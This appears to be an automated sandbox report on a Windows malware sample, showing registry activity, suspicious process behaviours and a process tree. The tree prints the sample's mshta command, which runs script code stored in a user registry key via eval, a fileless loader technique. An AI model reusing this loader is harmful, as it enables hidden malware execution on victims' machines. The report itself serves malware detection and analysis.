\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e501b427-1cae-4266-ab = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0263d1d5-90c6-46c0-83 = 0c28ec0e2df8d901 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\752175cb-f577-4738-8a = "8324" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1da4e040-523e-412a-b3 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b02c8093-06bb-47a0-ae RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\7b49abf6-ed7a-4017-ad = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e501b427-1cae-4266-ab = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5d5bfb9b-0b75-48cd-b4 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6f43eaa9-f5c6-4787-af RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\7b49abf6-ed7a-4017-ad = "\\\\?\\Volume{692520D5-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\d6c568fdb3e7b642523a024534041e2ca5216a328350f91b0a9d3b929f829cb6" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e501b427-1cae-4266-ab RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e501b427-1cae-4266-ab = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5d5bfb9b-0b75-48cd-b4 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000beb1a90d2df8d901beb1a90d2df8d901beb1a90d2df8d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004657bd412000346132653439616433383864353130663166346436353930376466343932336533343030383265326163666235313930653964663132623163313061363935610000b20009000400efbe4657bd414657bd412e0000000000000000000000000000000000000000000000000042b58f00340061003200650034003900610064003300380038006400350031003000660031006600340064003600350039003000370064006600340039003200330065003300340030003000380032006500320061006300660062003500310039003000650039006400660031003200620031006300310030006100360039003500610000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000004af29fc11000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c34613265343961643338386435313066316634643635393037646634393233653334303038326532616366623531393065396466313262316331306136393561000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006f787771646b7376000000000000000082671612f74e484cb69989136ee22c09e2c25fe39553ee11a4ad7257cd168fac82671612f74e484cb69989136ee22c09e2c25fe39553ee11a4ad7257cd168facca000000090000a08500000031535053e28a5846bc4c3843bbfc139326986dce6900000004000000001f0000002c00000053002d0031002d0035002d00320031002d0032003300340034003600380038003000310033002d0032003900360035003400360038003700310037002d0032003000330034003100320036002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d5202569000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0263d1d5-90c6-46c0-83 = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\752175cb-f577-4738-8a = "\\\\?\\Volume{692520D5-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\72610bd0e2a203e614400d4b3fecc4dbd7e7e3c5384a235504ab541cc7c786a3" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b02c8093-06bb-47a0-ae = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0263d1d5-90c6-46c0-83 = "8324" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a6483a38-a729-43e0-91 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e501b427-1cae-4266-ab = 7233ab0d2df8d901 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1da4e040-523e-412a-b3 = "8324" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6f43eaa9-f5c6-4787-af RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\752175cb-f577-4738-8a RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1da4e040-523e-412a-b3 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6f43eaa9-f5c6-4787-af = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6f43eaa9-f5c6-4787-af = a573040f2df8d901 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3e7a3b99-ad61-47e3-9b RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6f43eaa9-f5c6-4787-af = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\7b49abf6-ed7a-4017-ad = 7c396c0f2df8d901 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\7b49abf6-ed7a-4017-ad = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000f8ac250e2df8d901d416140f2df8d901d416140f2df8d9013fc002000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004657bd412000643663353638666462336537623634323532336130323435333430343165326361353231366133323833353066393162306139643362393239663832396362360000b20009000400efbe4657bd414657bd412e000000000000000000000000000000000000000000000000006ea37c00640036006300350036003800660064006200330065003700620036003400320035003200330061003000320034003500330034003000340031006500320063006100350032003100360061003300320038003300350030006600390031006200300061003900640033006200390032003900660038003200390063006200360000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000004af29fc11000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c64366335363866646233653762363432353233613032343533343034316532636135323136613332383335306639316230613964336239323966383239636236000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006f787771646b7376000000000000000082671612f74e484cb69989136ee22c09ebc25fe39553ee11a4ad7257cd168fac82671612f74e484cb69989136ee22c09ebc25fe39553ee11a4ad7257cd168facca000000090000a08500000031535053e28a5846bc4c3843bbfc139326986dce6900000004000000001f0000002c00000053002d0031002d0035002d00320031002d0032003300340034003600380038003000310033002d0032003900360035003400360038003700310037002d0032003000330034003100320036002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d5202569000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6f43eaa9-f5c6-4787-af = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000b7354e0e2df8d9016a45800e2df8d9016a45800e2df8d901739f02000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004657bd412000666632633434333963376262613235646162623738613166306165366431343633383566643261353732346331616262333238626361316465326166613239340000b20009000400efbe4657bd414657bd412e00000000000000000000000000000000000000000000000000182e8600660066003200630034003400330039006300370062006200610032003500640061006200620037003800610031006600300061006500360064003100340036003300380035006600640032006100350037003200340063003100610062006200330032003800620063006100310064006500320061006600610032003900340000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000004af29fc11000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c66663263343433396337626261323564616262373861316630616536643134363338356664326135373234633161626233323862636131646532616661323934000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006f787771646b7376000000000000000082671612f74e484cb69989136ee22c09eac25fe39553ee11a4ad7257cd168fac82671612f74e484cb69989136ee22c09eac25fe39553ee11a4ad7257cd168facca000000090000a08500000031535053e28a5846bc4c3843bbfc139326986dce6900000004000000001f0000002c00000053002d0031002d0035002d00320031002d0032003300340034003600380038003000310033002d0032003900360035003400360038003700310037002d0032003000330034003100320036002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d5202569000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1a66febb-f7cc-4e18-b3 = "\\\\?\\Volume{692520D5-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\4674526b0479bcd3eabcd93a1b2406241817b892d33ee8c099f4976e0873e117" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5d5bfb9b-0b75-48cd-b4 = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a6483a38-a729-43e0-91 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
PING.EXEpid process 5076 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
9872c3c580e8bd1a22cd4698e73e3f9a.exepowershell.exeExplorer.EXEpid process 2992 9872c3c580e8bd1a22cd4698e73e3f9a.exe 2992 9872c3c580e8bd1a22cd4698e73e3f9a.exe 4068 powershell.exe 4068 powershell.exe 4068 powershell.exe 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 3156 Explorer.EXE -
Suspicious behavior: MapViewOfSection 8 IoCs
Processes:
powershell.exeExplorer.EXEcmd.exepid process 4068 powershell.exe 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 3156 Explorer.EXE 5084 cmd.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
Processes:
powershell.exeExplorer.EXERuntimeBroker.exedescription pid process Token: SeDebugPrivilege 4068 powershell.exe Token: SeShutdownPrivilege 3156 Explorer.EXE Token: SeCreatePagefilePrivilege 3156 Explorer.EXE Token: SeShutdownPrivilege 3156 Explorer.EXE Token: SeCreatePagefilePrivilege 3156 Explorer.EXE Token: SeShutdownPrivilege 3156 Explorer.EXE Token: SeCreatePagefilePrivilege 3156 Explorer.EXE Token: SeShutdownPrivilege 3156 Explorer.EXE Token: SeCreatePagefilePrivilege 3156 Explorer.EXE Token: SeShutdownPrivilege 3732 RuntimeBroker.exe Token: SeShutdownPrivilege 3732 RuntimeBroker.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Explorer.EXEpid process 3156 Explorer.EXE -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
Explorer.EXEpid process 3156 Explorer.EXE -
Suspicious use of WriteProcessMemory 46 IoCs
Processes:
mshta.exepowershell.execsc.execsc.exeExplorer.EXEcmd.exedescription pid process target process PID 4816 wrote to memory of 4068 4816 mshta.exe powershell.exe PID 4816 wrote to memory of 4068 4816 mshta.exe powershell.exe PID 4068 wrote to memory of 416 4068 powershell.exe csc.exe PID 4068 wrote to memory of 416 4068 powershell.exe csc.exe PID 416 wrote to memory of 4960 416 csc.exe cvtres.exe PID 416 wrote to memory of 4960 416 csc.exe cvtres.exe PID 4068 wrote to memory of 2864 4068 powershell.exe csc.exe PID 4068 wrote to memory of 2864 4068 powershell.exe csc.exe PID 2864 wrote to memory of 1852 2864 csc.exe cvtres.exe PID 2864 wrote to memory of 1852 2864 csc.exe cvtres.exe PID 4068 wrote to memory of 3156 4068 powershell.exe Explorer.EXE PID 4068 wrote to memory of 3156 4068 powershell.exe Explorer.EXE PID 4068 wrote to memory of 3156 4068 powershell.exe Explorer.EXE PID 4068 wrote to memory of 3156 4068 powershell.exe Explorer.EXE PID 3156 wrote to memory of 3732 3156 Explorer.EXE RuntimeBroker.exe PID 3156 wrote to memory of 3732 3156 Explorer.EXE RuntimeBroker.exe PID 3156 wrote to memory of 3732 3156 Explorer.EXE RuntimeBroker.exe PID 3156 wrote to memory of 3732 3156 Explorer.EXE RuntimeBroker.exe PID 3156 wrote to memory of 3964 3156 Explorer.EXE RuntimeBroker.exe PID 3156 wrote to memory of 3964 3156 Explorer.EXE RuntimeBroker.exe PID 3156 wrote to memory of 3964 3156 Explorer.EXE RuntimeBroker.exe PID 3156 wrote to memory of 3964 3156 Explorer.EXE RuntimeBroker.exe PID 3156 wrote to memory of 1884 3156 Explorer.EXE RuntimeBroker.exe PID 3156 wrote to memory of 1884 3156 Explorer.EXE RuntimeBroker.exe PID 3156 wrote to memory of 1884 3156 Explorer.EXE RuntimeBroker.exe PID 3156 wrote to memory of 1884 3156 Explorer.EXE RuntimeBroker.exe PID 3156 wrote to memory of 2984 3156 Explorer.EXE RuntimeBroker.exe PID 3156 wrote to memory of 2984 3156 Explorer.EXE RuntimeBroker.exe PID 3156 wrote to memory of 2984 3156 Explorer.EXE RuntimeBroker.exe PID 3156 wrote to memory of 5084 3156 Explorer.EXE cmd.exe PID 3156 wrote to memory of 5084 3156 Explorer.EXE cmd.exe PID 3156 wrote to memory of 5084 3156 Explorer.EXE cmd.exe PID 3156 wrote to memory of 2984 3156 Explorer.EXE RuntimeBroker.exe PID 3156 wrote to memory of 380 3156 Explorer.EXE cmd.exe PID 3156 wrote to memory of 380 3156 Explorer.EXE cmd.exe PID 3156 wrote to memory of 380 3156 Explorer.EXE cmd.exe PID 3156 wrote to memory of 380 3156 Explorer.EXE cmd.exe PID 3156 wrote to memory of 5084 3156 Explorer.EXE cmd.exe PID 3156 wrote to memory of 5084 3156 Explorer.EXE cmd.exe PID 5084 wrote to memory of 5076 5084 cmd.exe PING.EXE PID 5084 wrote to memory of 5076 5084 cmd.exe PING.EXE PID 5084 wrote to memory of 5076 5084 cmd.exe PING.EXE PID 3156 wrote to memory of 380 3156 Explorer.EXE cmd.exe PID 3156 wrote to memory of 380 3156 Explorer.EXE cmd.exe PID 5084 wrote to memory of 5076 5084 cmd.exe PING.EXE PID 5084 wrote to memory of 5076 5084 cmd.exe PING.EXE
Processes
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3732
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1884
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3964
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3156 -
C:\Users\Admin\AppData\Local\Temp\9872c3c580e8bd1a22cd4698e73e3f9a.exe"C:\Users\Admin\AppData\Local\Temp\9872c3c580e8bd1a22cd4698e73e3f9a.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2992 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2992 -s 4723⤵
- Program crash
PID:1384 -
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>Eo2g='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Eo2g).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\304F83E1-CF18-E2AF-D964-73361DD857CA\\\OperatorAbout'));if(!window.flag)close()</script>"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4816 -
